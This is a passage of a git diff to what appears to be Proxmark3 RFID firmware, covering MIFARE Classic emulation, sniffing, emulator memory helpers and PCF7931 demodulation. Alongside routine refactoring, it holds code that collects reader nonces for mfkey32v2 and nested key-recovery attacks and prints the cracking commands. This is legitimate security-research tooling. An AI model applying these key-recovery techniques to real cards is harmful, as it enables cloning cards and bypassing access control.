IsKeyBReadable(blockNo)) { + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); - if (cardAUTHKEY == AUTHKEYB && IsKeyBReadable(blockNo)) { - EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); - FpgaDisableTracing(); - - if (g_dbglevel >= DBG_ERROR) - Dbprintf("[MFEMUL_WORK] Access denied: Reader tried to access memory on authentication with key B while key B is readable in sector (0x%02x)", cardAUTHSC); - break; + if (g_dbglevel >= DBG_ERROR) + Dbprintf("[MFEMUL_WORK] Access denied: Reader tried to access memory on authentication with key B while key B is readable in sector (0x%02x)", cardAUTHSC); + break; + } } } @@ -923,7 +961,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // first block if (blockNo == 4) { - p_em += blockNo * 16; + p_em += (blockNo * MIFARE_BLOCK_SIZE); // TLV in NDEF, flip length between // 4 | 03 21 D1 02 1C 53 70 91 01 09 54 02 65 6E 4C 69 // 0xFF means long length @@ -938,7 +976,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 } } - emlGetMem(response, blockNo, 1); + emlGetMem_xt(response, blockNo, 1, MIFARE_BLOCK_SIZE); if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("[MFEMUL_WORK - ISO14443A_CMD_READBLOCK] Data Block[%d]: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", blockNo, @@ -978,13 +1016,13 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 } } else { if (IsAccessAllowed(blockNo, cardAUTHKEY, AC_DATA_READ) == false) { - memset(response, 0x00, 16); // datablock cannot be read + memset(response, 0x00, MIFARE_BLOCK_SIZE); // datablock cannot be read if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK - IsAccessAllowed] Data block %d (0x%02x) cannot be read", blockNo, blockNo); } } - AddCrc14A(response, 16); - mf_crypto1_encrypt(pcs, response, MAX_MIFARE_FRAME_SIZE, response_par); - EmSendCmdPar(response, MAX_MIFARE_FRAME_SIZE, response_par); + AddCrc14A(response, MIFARE_BLOCK_SIZE); + mf_crypto1_encrypt(pcs, response, MIFARE_BLOCK_SIZE + CRC16_SIZE, response_par); + EmSendCmdPar(response, MIFARE_BLOCK_SIZE + CRC16_SIZE, response_par); FpgaDisableTracing(); if (g_dbglevel >= DBG_EXTENDED) { @@ -996,7 +1034,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 numReads++; if (exitAfterNReads > 0 && numReads == exitAfterNReads) { - Dbprintf("[MFEMUL_WORK] %d reads done, exiting", numReads); + Dbprintf("[MFEMUL_WORK] " _YELLOW_("%u") " reads done, exiting", numReads); finished = true; } break; @@ -1077,7 +1115,9 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // case MFEMUL_WORK => CMD RATS if (receivedCmd_len == 4 && receivedCmd_dec[0] == ISO14443A_CMD_RATS && (receivedCmd_dec[1] & 0xF0) <= 0x80 && (receivedCmd_dec[1] & 0x0F) <= 0x0e) { + if (rats && rats_len) { + if (encrypted_data) { memcpy(response, rats, rats_len); mf_crypto1_encrypt(pcs, response, rats_len, response_par); @@ -1085,46 +1125,58 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 } else { EmSendCmd(rats, rats_len); } + FpgaDisableTracing(); - if (g_dbglevel >= DBG_EXTENDED) + + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("[MFEMUL_WORK] RCV RATS => ACK"); + } + } else { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); FpgaDisableTracing(); cardSTATE_TO_IDLE(); - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("[MFEMUL_WORK] RCV RATS => NACK"); + } } break; } // case MFEMUL_WORK => ISO14443A_CMD_NXP_DESELECT if (receivedCmd_len == 3 && receivedCmd_dec[0] == ISO14443A_CMD_NXP_DESELECT) { + if (rats && rats_len) { + // response back NXP_DESELECT if (encrypted_data) { memcpy(response, receivedCmd_dec, receivedCmd_len); mf_crypto1_encrypt(pcs, response, receivedCmd_len, response_par); EmSendCmdPar(response, receivedCmd_len, response_par); - } else + } else { EmSendCmd(receivedCmd_dec, receivedCmd_len); + } FpgaDisableTracing(); - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => ACK"); + } + } else { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); FpgaDisableTracing(); cardSTATE_TO_IDLE(); - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => NACK"); + } } break; } // case MFEMUL_WORK => command not allowed - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("Received command not allowed, nacking"); + } EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); FpgaDisableTracing(); break; @@ -1132,93 +1184,74 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // AUTH1 case MFEMUL_AUTH1: { - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("[MFEMUL_AUTH1] Enter case"); + } if (receivedCmd_len != 8) { cardSTATE_TO_IDLE(); LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true); - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("MFEMUL_AUTH1: receivedCmd_len != 8 (%d) => cardSTATE_TO_IDLE())", receivedCmd_len); + } break; } nr = bytes_to_num(receivedCmd, 4); ar = bytes_to_num(&receivedCmd[4], 4); - // Collect AR/NR per keytype & sector - if ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) { - - for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) { - if (ar_nr_collected[i + mM] == 0 || - ( - (cardAUTHSC == ar_nr_resp[i + mM].sector) && - (cardAUTHKEY == ar_nr_resp[i + mM].keytype) && - (ar_nr_collected[i + mM] > 0) - ) - ) { - // if first auth for sector, or matches sector and keytype of previous auth - if (ar_nr_collected[i + mM] < 2) { - // if we haven't already collected 2 nonces for this sector - if (ar_nr_resp[ar_nr_collected[i + mM]].ar != ar) { - // Avoid duplicates... probably not necessary, ar should vary. - if (ar_nr_collected[i + mM] == 0) { - // first nonce collect - ar_nr_resp[i + mM].cuid = cuid; - ar_nr_resp[i + mM].sector = cardAUTHSC; - ar_nr_resp[i + mM].keytype = cardAUTHKEY; - ar_nr_resp[i + mM].nonce = nonce; - ar_nr_resp[i + mM].nr = nr; - ar_nr_resp[i + mM].ar = ar; - nonce1_count++; - // add this nonce to first moebius nonce - ar_nr_resp[i + ATTACK_KEY_COUNT].cuid = cuid; - ar_nr_resp[i + ATTACK_KEY_COUNT].sector = cardAUTHSC; - ar_nr_resp[i + ATTACK_KEY_COUNT].keytype = cardAUTHKEY; - ar_nr_resp[i + ATTACK_KEY_COUNT].nonce = nonce; - ar_nr_resp[i + ATTACK_KEY_COUNT].nr = nr; - ar_nr_resp[i + ATTACK_KEY_COUNT].ar = ar; - ar_nr_collected[i + ATTACK_KEY_COUNT]++; - } else { // second nonce collect (std and moebius) - ar_nr_resp[i + mM].nonce2 = nonce; - ar_nr_resp[i + mM].nr2 = nr; - ar_nr_resp[i + mM].ar2 = ar; - - if (!gettingMoebius) { - nonce2_count++; - // check if this was the last second nonce we need for std attack - if (nonce2_count == nonce1_count) { - // done collecting std test switch to moebius - // first finish incrementing last sample - ar_nr_collected[i + mM]++; - // switch to moebius collection - gettingMoebius = true; - mM = ATTACK_KEY_COUNT; - nonce = nonce * 7; - break; - } - } else { - moebius_n_count++; - // if we've collected all the nonces we need - finish. - if (nonce1_count == moebius_n_count) - finished = true; - } - } - ar_nr_collected[i + mM]++; - } - } - // we found right spot for this nonce stop looking - break; - } - } - } - // --- crypto crypto1_word(pcs, nr, 1); cardRr = ar ^ crypto1_word(pcs, 0, 0); // test if auth KO if (cardRr != prng_successor(nonce, 64)) { + // Collect AR/NR per keytype & sector + if (running_nested_auth_attack) { + ar_nr_resp[0].nr = nr; + ar_nr_resp[0].ar = ar; + ar_nr_resp[0].state = NESTED; + finished = true; + } + + if ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) { + + for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) { + if (ar_nr_resp[i].state == EMPTY || + ( + (ar_nr_resp[i].state != EMPTY) && + (cardAUTHSC == ar_nr_resp[i].sector) && + (cardAUTHKEY == ar_nr_resp[i].keytype) + ) + ) { + // if first auth for sector, or matches sector and keytype of previous auth + if (ar_nr_resp[i].state != SECOND) { + // if we haven't already collected 2 nonces for this sector + if (ar_nr_resp[i].state == EMPTY) { + // first nonce collect + ar_nr_resp[i].cuid = cuid; + ar_nr_resp[i].sector = cardAUTHSC; + ar_nr_resp[i].keytype = cardAUTHKEY; + ar_nr_resp[i].nonce = nonce; + ar_nr_resp[i].nr = nr; + ar_nr_resp[i].ar = ar; + ar_nr_resp[i].state = FIRST; + } else { // second nonce collect + // make sure we have different nonces for moebius attack + if (ar_nr_resp[i].nonce != nonce) { + ar_nr_resp[i].nonce2 = nonce; + ar_nr_resp[i].nr2 = nr; + ar_nr_resp[i].ar2 = ar; + ar_nr_resp[i].state = SECOND; + finished = true; + } + } + } + // we found right spot for this nonce stop looking + break; + } + } + } if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("[MFEMUL_AUTH1] AUTH FAILED for sector %d with key %c. [nr=%08x cardRr=%08x] [nt=%08x succ=%08x]" , cardAUTHSC @@ -1257,22 +1290,29 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // WRITE BL2 case MFEMUL_WRITEBL2: { - if (receivedCmd_len == MAX_MIFARE_FRAME_SIZE) { + + if (receivedCmd_len == MIFARE_BLOCK_SIZE + CRC16_SIZE) { + mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, receivedCmd_dec); + if (CheckCrc14A(receivedCmd_dec, receivedCmd_len)) { + if (IsSectorTrailer(cardWRBL)) { - emlGetMem(response, cardWRBL, 1); - if (!IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_KEYA_WRITE)) { + + emlGetMem_xt(response, cardWRBL, 1, MIFARE_BLOCK_SIZE); + + if (IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_KEYA_WRITE) == false) { memcpy(receivedCmd_dec, response, 6); // don't change KeyA } - if (!IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_KEYB_WRITE)) { + if (IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_KEYB_WRITE) == false) { memcpy(receivedCmd_dec + 10, response + 10, 6); // don't change KeyA } - if (!IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_AC_WRITE)) { + if (IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_AC_WRITE) == false) { memcpy(receivedCmd_dec + 6, response + 6, 4); // don't change AC bits } + } else { - if (!IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_DATA_WRITE)) { + if (IsAccessAllowed(cardWRBL, cardAUTHKEY, AC_DATA_WRITE) == false) { memcpy(receivedCmd_dec, response, 16); // don't change anything } } @@ -1355,53 +1395,56 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 FpgaDisableTracing(); - // NR AR ATTACK - // mfkey32 - if (((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) && (g_dbglevel >= DBG_INFO)) { - for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) { - if (ar_nr_collected[i] == 2) { - Dbprintf("Collected two pairs of AR/NR which can be used to extract sector %d " _YELLOW_("%s") - , ar_nr_resp[i].sector - , (ar_nr_resp[i].keytype == AUTHKEYA) ? "key A" : "key B" + uint8_t index = 0; + if (running_nested_auth_attack) { + if ((nonce_state)ar_nr_resp[0].state == NESTED) { + running_nested_auth_attack = false; + if (g_dbglevel >= DBG_INFO) { + Dbprintf("Collected nested AR/NR which can be used to extract sector %d " _YELLOW_("%s") + , ar_nr_resp[0].sector + , (ar_nr_resp[0].keytype == AUTHKEYA) ? "key A" : "key B" ); - Dbprintf("../tools/mfc/card_reader/mfkey32 %08x %08x %08x %08x %08x %08x", - ar_nr_resp[i].cuid, //UID - ar_nr_resp[i].nonce, //NT - ar_nr_resp[i].nr, //NR1 - ar_nr_resp[i].ar, //AR1 - ar_nr_resp[i].nr2, //NR2 - ar_nr_resp[i].ar2 //AR2 + Dbprintf("../tools/mfc/card_reader/mfkey32nested %08x %08x %08x %08x %08x", + ar_nr_resp[0].cuid, //UID + ar_nr_resp[0].nonce, //NT + ar_nr_resp[0].nonce2,//NT_ENC + ar_nr_resp[0].nr, //NR1 + ar_nr_resp[0].ar //AR1 ); } } - } - - // mfkey32 v2 - for (uint8_t i = ATTACK_KEY_COUNT; i < ATTACK_KEY_COUNT * 2; i++) { - if (ar_nr_collected[i] == 2) { - Dbprintf("Collected two pairs of AR/NR which can be used to extract sector %d " _YELLOW_("%s") - , ar_nr_resp[i].sector - , (ar_nr_resp[i].keytype == AUTHKEYB) ? "key A" : "key B" - ); - Dbprintf("../tools/mfc/card_reader/mfkey32v2 %08x %08x %08x %08x %08x %08x %08x", - ar_nr_resp[i].cuid, //UID - ar_nr_resp[i].nonce, //NT - ar_nr_resp[i].nr, //NR1 - ar_nr_resp[i].ar, //AR1 - ar_nr_resp[i].nonce2,//NT2 - ar_nr_resp[i].nr2, //NR2 - ar_nr_resp[i].ar2 //AR2 - ); + } else { + // NR AR ATTACK + if ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) { + for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) { + if ((nonce_state)ar_nr_resp[i].state == SECOND) { + index = i; + if (g_dbglevel >= DBG_INFO) { + Dbprintf("Collected two pairs of AR/NR which can be used to extract sector %d " _YELLOW_("%s") + , ar_nr_resp[i].sector + , (ar_nr_resp[i].keytype == AUTHKEYA) ? "key A" : "key B" + ); + Dbprintf("../tools/mfc/card_reader/mfkey32v2 %08x %08x %08x %08x %08x %08x %08x", + ar_nr_resp[i].cuid, //UID + ar_nr_resp[i].nonce, //NT + ar_nr_resp[i].nr, //NR1 + ar_nr_resp[i].ar, //AR1 + ar_nr_resp[i].nonce2,//NT2 + ar_nr_resp[i].nr2, //NR2 + ar_nr_resp[i].ar2 //AR2 + ); + } + } + } } } - if (g_dbglevel >= DBG_ERROR) { Dbprintf("Emulator stopped. Tracing: %d trace length: %d ", get_tracing(), BigBuf_get_traceLen()); } if ((flags & FLAG_INTERACTIVE) == FLAG_INTERACTIVE) { // Interactive mode flag, means we need to send ACK //Send the collected ar_nr in the response - reply_mix(CMD_ACK, CMD_HF_MIFARE_SIMULATE, button_pushed, 0, &ar_nr_resp, sizeof(ar_nr_resp)); + reply_ng(CMD_HF_MIFARE_SIMULATE, button_pushed ? PM3_EOPABORTED : PM3_SUCCESS, (uint8_t *)&ar_nr_resp[index], sizeof(nonces_t)); } FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); diff --git a/armsrc/mifaresim.h b/armsrc/mifaresim.h index b22659df6..fdd131312 100644 --- a/armsrc/mifaresim.h +++ b/armsrc/mifaresim.h @@ -21,6 +21,7 @@ #define __MIFARESIM_H #include "common.h" +#include "mifare.h" #ifndef CheckCrc14A # define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len)) @@ -41,6 +42,7 @@ #define AUTHKEYB 1 #define AUTHKEYNONE 0xff -void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint16_t atqa, uint8_t sak); +void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t atqa, uint8_t sak); +bool MifareSimInit(uint16_t flags, uint8_t *uid, uint16_t atqa, uint8_t sak, tag_response_info_t **responses, uint32_t *cuid, uint8_t *uid_len, uint8_t **rats, uint8_t *rats_len); #endif diff --git a/armsrc/mifaresniff_disabled.c b/armsrc/mifaresniff_disabled.c index 80b5adeb8..92888a1ea 100644 --- a/armsrc/mifaresniff_disabled.c +++ b/armsrc/mifaresniff_disabled.c @@ -50,7 +50,6 @@ void RAMFUNC SniffMifare(uint8_t param) { // free all previous allocations first BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(true); // The command (reader -> tag) that we're receiving. @@ -137,13 +136,13 @@ void RAMFUNC SniffMifare(uint8_t param) { if (dataLen < 1) continue; // primary buffer was stopped ( <-- we lost data! - if (!AT91C_BASE_PDC_SSC->PDC_RCR) { + if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) { AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t)dmaBuf; AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary } // secondary buffer sets as primary, secondary buffer was stopped - if (!AT91C_BASE_PDC_SSC->PDC_RNCR) { + if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) { AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)dmaBuf; AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; } diff --git a/armsrc/mifareutil.c b/armsrc/mifareutil.c index 60372aa3f..8c62a7a6a 100644 --- a/armsrc/mifareutil.c +++ b/armsrc/mifareutil.c @@ -100,7 +100,7 @@ uint16_t mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t uint16_t pos; uint8_t dcmd[4] = {cmd, data, 0x00, 0x00}; uint8_t ecmd[4] = {0x00, 0x00, 0x00, 0x00}; - uint8_t par[1] = {0x00}; // 1 Byte parity is enough here + uint8_t par[MAX_MIFARE_PARITY_SIZE] = {0x00}; // used for cmd and answer AddCrc14A(dcmd, 2); memcpy(ecmd, dcmd, sizeof(dcmd)); @@ -156,7 +156,9 @@ int mifare_classic_authex_cmd(struct Crypto1State *pcs, uint32_t uid, uint8_t bl // Transmit MIFARE_CLASSIC_AUTH, 0x60 for key A, 0x61 for key B, or 0x80 for GDM backdoor int len = mifare_sendcmd_short(pcs, isNested, cmd, blockNo, receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar, timing); - if (len != 4) return 1; + if (len != 4) { + return 1; + } // Save the tag nonce (nt) uint32_t nt = bytes_to_num(receivedAnswer, 4); @@ -334,8 +336,9 @@ int mifare_ul_ev1_auth(uint8_t *keybytes, uint8_t *pack) { return 0; } - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("Auth Resp: %02x%02x%02x%02x", resp[0], resp[1], resp[2], resp[3]); + } memcpy(pack, resp, 4); return 1; @@ -437,21 +440,17 @@ int mifare_ultra_aes_auth(uint8_t keyno, uint8_t *keybytes) { uint8_t key[16] = { 0 }; memcpy(key, keybytes, sizeof(key)); - uint16_t len = 0; - // 1 cmd + 16 bytes + 2 crc uint8_t resp[19] = {0x00}; uint8_t respPar[5] = {0}; - // setup AES mbedtls_aes_context actx; mbedtls_aes_init(&actx); - mbedtls_aes_init(&actx); mbedtls_aes_setkey_dec(&actx, key, 128); // Send REQUEST AUTHENTICATION / receive tag nonce - len = mifare_sendcmd_short(NULL, CRYPT_NONE, MIFARE_ULAES_AUTH_1, keyno, resp, sizeof(resp), respPar, NULL); + uint16_t len = mifare_sendcmd_short(NULL, CRYPT_NONE, MIFARE_ULAES_AUTH_1, keyno, resp, sizeof(resp), respPar, NULL); if (len != 19) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Cmd Error: %02x - expected 19 got " _RED_("%u"), resp[0], len); return 0; @@ -480,19 +479,20 @@ int mifare_ultra_aes_auth(uint8_t keyno, uint8_t *keybytes) { mbedtls_aes_setkey_enc(&actx, key, 128); mbedtls_aes_crypt_cbc(&actx, MBEDTLS_AES_ENCRYPT, sizeof(enc_rnd_ab), IV, rnd_ab, enc_rnd_ab); - // send & recieve + // send & receive len = mifare_sendcmd(MIFARE_ULAES_AUTH_2, enc_rnd_ab, sizeof(enc_rnd_ab), resp, sizeof(resp), respPar, NULL); if (len != 19) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("Cmd Error: %02x - expected 19 got " _RED_("%u"), resp[0], len); + if (g_dbglevel >= DBG_INFO) Dbprintf("Cmd Error: %02x - expected 19 got " _RED_("%u"), resp[0], len); return 0; } memset(IV, 0, 16); mbedtls_aes_setkey_dec(&actx, key, 128); mbedtls_aes_crypt_cbc(&actx, MBEDTLS_AES_DECRYPT, sizeof(random_b), IV, resp + 1, random_b); + mbedtls_aes_free(&actx); if (memcmp(random_b, random_a, 16) != 0) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("failed authentication"); + if (g_dbglevel >= DBG_INFO) Dbprintf("failed authentication"); return 0; } @@ -507,8 +507,6 @@ int mifare_ultra_aes_auth(uint8_t keyno, uint8_t *keybytes) { Dbprintf("B:"); Dbhexdump(16, random_b, false); } - - mbedtls_aes_free(&actx); return 1; } @@ -756,14 +754,16 @@ uint8_t FirstBlockOfSector(uint8_t sectorNo) { } // work with emulator memory -void emlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int block_width) { +void emlSetMem_xt(uint8_t *data, uint16_t blockNum, uint8_t blocksCount, uint8_t block_width) { uint32_t offset = blockNum * block_width; uint32_t len = blocksCount * block_width; emlSet(data, offset, len); } -void emlGetMem(uint8_t *data, int blockNum, int blocksCount) { - emlGet(data, (blockNum * 16), (blocksCount * 16)); +void emlGetMem_xt(uint8_t *data, uint16_t blockNum, uint8_t blocksCount, uint8_t block_width) { + uint32_t offset = blockNum * block_width; + uint32_t len = blocksCount * block_width; + emlGet(data, offset, len); } bool emlCheckValBl(int blockNum) { @@ -817,10 +817,11 @@ uint64_t emlGetKey(int sectorNum, int keyType) { } void emlClearMem(void) { + + BigBuf_Clear_EM(); + const uint8_t trailer[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x07, 0x80, 0x69, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; const uint8_t uid[] = {0xe6, 0x84, 0x87, 0xf3, 0x16, 0x88, 0x04, 0x00, 0x46, 0x8e, 0x45, 0x55, 0x4d, 0x70, 0x41, 0x04}; - uint8_t *mem = BigBuf_get_EM_addr(); - memset(mem, 0, CARD_MEMORY_SIZE); // fill sectors trailer data for (uint16_t b = 3; b < MIFARE_4K_MAXBLOCK; ((b < MIFARE_2K_MAXBLOCK - 4) ? (b += 4) : (b += 16))) { @@ -983,3 +984,12 @@ int nonce_distance(uint32_t from, uint32_t to) { int nonce16_index(uint16_t nt) { return nonce16_distance(0x0100, nt) + 1; } + +uint32_t rewind_nonce(uint32_t from, uint16_t dist) { + uint16_t x = from >> 16; + for (uint16_t i = 0; i < dist; i++) { + x = ((x << 1 | x >> 15) & 0xffff) ^ ((x >> 1 ^ x >> 2 ^ x >> 4) & 0x100); + } + uint32_t nt = x; + return nt << 16 | prng_successor(nt, 16); +} diff --git a/armsrc/mifareutil.h b/armsrc/mifareutil.h index b1ae83021..28987c363 100644 --- a/armsrc/mifareutil.h +++ b/armsrc/mifareutil.h @@ -40,13 +40,27 @@ #define MIFARE_4K_MAXBLOCK 256 #define MIFARE_2K_MAXBLOCK 128 #define MIFARE_1K_MAXBLOCK 64 +#define MIFARE_1K_EV1_MAXBLOCK (MIFARE_1K_MAXBLOCK + 8) #define MIFARE_MINI_MAXBLOCK 20 #define MIFARE_MINI_MAXSECTOR 5 #define MIFARE_1K_MAXSECTOR 16 +#define MIFARE_1K_EV1_MAXSECTOR (MIFARE_1K_MAXSECTOR + 2) #define MIFARE_2K_MAXSECTOR 32 #define MIFARE_4K_MAXSECTOR 40 +#define MIFARE_4K_MAX_BYTES 4096 +#define MIFARE_2K_MAX_BYTES 2048 +#define MIFARE_1K_MAX_BYTES 1024 +#define MIFARE_1K_EV1_MAX_BYTES (MIFARE_1K_MAX_BYTES + 128) +#define MIFARE_MINI_MAX_BYTES 320 + +#define MIFARE_MINI_MAX_KEY_SIZE (MIFARE_MINI_MAXSECTOR * 2 * MIFARE_KEY_SIZE) +#define MIFARE_1K_MAX_KEY_SIZE (MIFARE_1K_MAXSECTOR * 2 * MIFARE_KEY_SIZE) +#define MIFARE_1K_EV1_MAX_KEY_SIZE (MIFARE_1K_EV1_MAXSECTOR * 2 * MIFARE_KEY_SIZE) +#define MIFARE_2K_MAX_KEY_SIZE (MIFARE_2K_MAXSECTOR * 2 * MIFARE_KEY_SIZE) +#define MIFARE_4K_MAX_KEY_SIZE (MIFARE_4K_MAXSECTOR * 2 * MIFARE_KEY_SIZE) + #define MIFARE_BLOCK_SIZE 16 //mifare emulator states @@ -117,8 +131,9 @@ uint8_t SectorTrailer(uint8_t blockNo); // emulator functions void emlClearMem(void); -void emlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int block_width); -void emlGetMem(uint8_t *data, int blockNum, int blocksCount); +void emlSetMem_xt(uint8_t *data, uint16_t blockNum, uint8_t blocksCount, uint8_t block_width); +void emlGetMem_xt(uint8_t *data, uint16_t blockNum, uint8_t blocksCount, uint8_t block_width); + uint64_t emlGetKey(int sectorNum, int keyType); int emlGetValBl(uint32_t *blReg, uint8_t *blBlock, int blockNum); void emlSetValBl(uint32_t blReg, uint8_t blBlock, int blockNum); @@ -128,4 +143,5 @@ bool validate_parity_nonce(uint32_t ntenc, uint8_t ntparenc, uint32_t nt); int nonce_distance(uint32_t from, uint32_t to); int nonce16_distance(uint16_t x, uint16_t y); int nonce16_index(uint16_t nt); +uint32_t rewind_nonce(uint32_t from, uint16_t dist); #endif diff --git a/armsrc/pcf7931.c b/armsrc/pcf7931.c index 2d56943af..8eefd354e 100644 --- a/armsrc/pcf7931.c +++ b/armsrc/pcf7931.c @@ -28,105 +28,151 @@ #define T0_PCF 8 //period for the pcf7931 in us #define ALLOC 16 -size_t DemodPCF7931(uint8_t **outBlocks, bool ledcontrol) { +// IIR filter consts +#define IIR_CONST1 0.1f +#define IIR_CONST2 0.9f - // 2021 iceman, memor +// used to decimate samples. this allows DoAcquisition to sample for a longer duration. +// Decimation of 4 makes sure that all blocks can be sampled at once! +#define DECIMATION 4 + +#define CLOCK (64/DECIMATION) // this actually is 64, but since samples are decimated by 2, CLOCK is also /2 +#define TOLERANCE (CLOCK / 8) +#define _16T0 (CLOCK/4) +#define _32T0 (CLOCK/2) +#define _64T0 (CLOCK) + +// calculating the two possible pmc lengths, based on the clock. -4 at the end is to make sure not to increment too far +#define PMC_16T0_LEN ((128 + 127 + 16 + 32 + 33 + 16) * CLOCK/64); +#define PMC_32T0_LEN ((128 + 127 + 16 + 32 + 33 ) * CLOCK/64); + +// theshold for recognition of positive/negative slope +#define THRESHOLD 80 + +size_t DemodPCF7931(uint8_t **outBlocks, bool ledcontrol) { uint8_t bits[256] = {0x00}; uint8_t blocks[8][16]; - uint8_t *dest = BigBuf_get_addr(); + uint16_t g_GraphTraceLen = BigBuf_max_traceLen(); + // limit g_GraphTraceLen to a little more than 2 data frames. + // To make sure a complete dataframe is in the dataset. + // 1 Frame is 16 Byte -> 128byte. at a T0 of 64 -> 8129 Samples per frame. + // + PMC -> 384T0 --> 8576 samples required for one block + // to make sure that one complete block is definitely being sampled, we need 2 times that + // which is ~17.xxx samples. round up. and clamp to this value. - int g_GraphTraceLen = BigBuf_max_traceLen(); - if (g_GraphTraceLen > 18000) { - g_GraphTraceLen = 18000; - } - - int i = 2, j, lastval, bitidx, half_switch; - int clock = 64; - int tolerance = clock / 8; - int pmc, block_done; - int lc, warnings = 0; - size_t num_blocks = 0; - int lmin = 64, lmax = 192; - uint8_t dir; + // TODO: Doublecheck why this is being limited? - seems not to be needed. + // g_GraphTraceLen = (g_GraphTraceLen > 18000) ? 18000 : g_GraphTraceLen; BigBuf_Clear_keep_EM(); LFSetupFPGAForADC(LF_DIVISOR_125, true); - DoAcquisition_default(0, true, ledcontrol); + DoAcquisition(DECIMATION, 8, 0, 0, false, 0, 0, 0, ledcontrol); - /* Find first local max/min */ - if (dest[1] > dest[0]) { - while (i < g_GraphTraceLen) { - if (!(dest[i] > dest[i - 1]) && dest[i] > lmax) { - break; - } - i++; - } - dir = 0; - } else { - while (i < g_GraphTraceLen) { - if (!(dest[i] < dest[i - 1]) && dest[i] < lmin) { - break; - } - i++; - } - dir = 1; - } + uint8_t j; + uint8_t half_switch; + uint8_t bitPos; + + uint32_t sample; // to keep track of the current sample that is being analyzed + uint32_t samplePosLastEdge; + uint32_t samplePosCurrentEdge; + uint8_t lastClockDuration; // used to store the duration of the last "clock", for decoding. clock may not be the correct term, maybe bit is better. The duration between two edges is meant + uint8_t beforeLastClockDuration; // store the clock duration of the cycle before the last Clock duration. Basically clockduration -2 + + + uint8_t block_done; + size_t num_blocks = 0; + EdgeType expectedNextEdge = FALLING; // direction in which the next edge is expected should go. - lastval = i++; half_switch = 0; - pmc = 0; + samplePosLastEdge = 0; block_done = 0; + bitPos = 0; + lastClockDuration = 0; - for (bitidx = 0; i < 